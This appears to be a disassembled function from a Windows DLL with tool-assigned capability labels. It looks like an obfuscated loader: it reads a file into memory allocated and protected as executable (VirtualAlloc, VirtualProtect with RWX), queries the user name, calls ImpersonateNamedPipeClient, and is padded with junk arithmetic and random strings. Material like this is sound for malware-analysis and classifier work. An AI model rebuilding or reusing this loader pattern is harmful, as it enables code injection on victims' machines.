Function at 0x10001e40
Capabilities:
Allocate or change rwx memory
Get session user name
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
mov eax, dword [0x10019178]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov dword [ebp - 0x214], 0x10017578
mov eax, dword [0x1001a3b0]
and eax, 0x80000001
jns 0x10001e71
dec eax
or eax, 0xfffffffe
inc eax
mov ecx, 0x24
sub ecx, eax
mov edx, dword [0x1001a3b0]
imul edx, edx, 0x48
lea eax, [ecx + edx - 0x1b]
mov dword [0x1001a3b4], eax
mov ebx, 4
mov edi, str.qcuhuytegqs
call fcn.100016f0
mov esi, eax
mov ecx, ebx
xor edx, edx
mov dword [ebp - 0x338], edx
repe cmpsb byte [esi], byte es:[edi]
je 0x10001eb4
sbb eax, eax
sbb eax, 0xffffffff
mov dword [ebp - 0x338], eax
mov ecx, dword [ebp - 0x338]
mov dword [ebp - 0x33c], ecx
mov edx, dword [ebp - 0x33c]
mov dword [0x1001a3c4], edx
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x320]
push ecx
call fcn.10001950
add esp, 8
cmp dword [0x1001b114], 0
jne 0x10001ef4
mov dword [0x1001b114], 1
jmp 0x10001efe
mov dword [0x1001b740], 0
mov edx, dword [0x1001b740]
push edx
call fcn.100017c0
add esp, 4
mov dword [0x1001b114], eax
push 0
push 0x8000
lea eax, [ebp - 0x320]
push eax
call fcn.1000380d
add esp, 0xc
mov dword [0x1001b324], eax
cmp dword [0x1001b324], 0xffffffff
jne 0x10001f3d
xor eax, eax
jmp 0x100021f5
push str.JcdMZVBvznZfNSlk
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
mov dword [ebp - 0x218], eax
push 2
push 0
mov ecx, dword [0x1001b324]
push ecx
call fcn.1000465c
add esp, 0xc
push 0
push 0x1001b118
push 0
push 1
push 0
call dword [sym.imp.GDI32.dll_Escape]
fld dword [0x1001a3a4]
fmul qword [0x100176f0]
fdiv qword [0x100176e8]
fstp dword [ebp - 0x340]
fld dword [ebp - 0x340]
push ecx
fstp dword [esp]
call fcn.10001080
add esp, 4
fstp dword [0x1001b21c]
cmp dword [0x1001a3b4], 0x29
jge 0x10001fc0
mov dword [0x1001a3b4], 0x29
push str.HLSZKxWDKIKCrc
push str.ppaoetynrhho
call fcn.10004317
add esp, 4
push eax
call fcn.100012f0
add esp, 8
mov edx, dword [0x1001b324]
push edx
call fcn.100033e3
add esp, 4
mov ecx, dword [0x1001b748]
mov dword [ecx], eax
push 0
push 0
mov edx, dword [0x1001b324]
push edx
call fcn.1000465c
add esp, 0xc
mov eax, dword [0x1001a3b0]
imul eax, eax, 3
mov ecx, dword [0x1001a3b0]
imul ecx, ecx, 0x55
lea edx, [eax + ecx - 0x356]
mov dword [0x1001a3b4], edx
push 2
fild dword [0x1001a3b4]
fmul dword [0x1001a3a4]
fstp dword [ebp - 0x344]
fld dword [ebp - 0x344]
fld dword [0x1001a3a4]
fmul qword [0x100176e0]
fsubp st(1)
fadd qword [0x100176d8]
fstp dword [ebp - 0x348]
fld dword [ebp - 0x348]
push ecx
fstp dword [esp]
call fcn.100010c0
add esp, 8
fstp dword [0x1001b21c]
push 0x40
push 0x1000
mov eax, dword [0x1001b748]
mov ecx, dword [eax]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [0x1001b744]
mov dword [edx], eax
mov eax, dword [0x1001b744]
cmp dword [eax], 0
jne 0x10002135
push 0x208
call fcn.10003202
add esp, 4
mov dword [ebp - 0x334], eax
mov ecx, dword [ebp - 0x334]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x324], 0x104
lea edx, [ebp - 0x324]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea ecx, [ebp - 0x210]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1000210e
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov dword [ebp - 0x210], ecx
mov edx, dword [eax + 4]
mov dword [ebp - 0x20c], edx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x208], ecx
mov edx, dword [eax + 0xc]
mov dword [ebp - 0x204], edx
push 0
call dword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
test eax, eax
jne 0x10002129
push 0
push 0x1001a3c8
call sym.fsgsemrtddzn.dll_qnersvtmnbmqjvbr
add esp, 8
xor eax, eax
jmp 0x100021f5
push str.okbymxaypwsqkdhqqzlnf
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x330], eax
push 0x67
push 0x1001b118
push 0x32
mov eax, dword [ebp - 0x330]
push eax
call dword [sym.imp.USER32.dll_LoadStringA]
mov ecx, dword [0x1001a3b4]
sub ecx, 1
imul ecx, dword [0x1001a3ac]
and ecx, 0x8000000f
jns 0x10002179
dec ecx
or ecx, 0xfffffff0
inc ecx
mov edx, dword [0x1001a3b4]
sub edx, ecx
mov dword [0x1001a3b4], edx
push 0x1001b118
push 0x100175e8
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push str.hLTwpxQyvDSVuCgr
call fcn.10001550
add esp, 0xc
mov dword [0x1001b114], eax
lea eax, [ebp - 0x328]
push eax
push 0x40
mov ecx, dword [0x1001b748]
mov edx, dword [ecx]
push edx
mov eax, dword [0x1001b744]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [0x1001b748]
mov eax, dword [edx]
push eax
mov ecx, dword [0x1001b744]
mov edx, dword [ecx]
push edx
mov eax, dword [0x1001b324]
push eax
call fcn.10004143
add esp, 0xc
mov dword [ebp - 0x32c], eax
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1000320d
mov esp, ebp
pop ebp
ret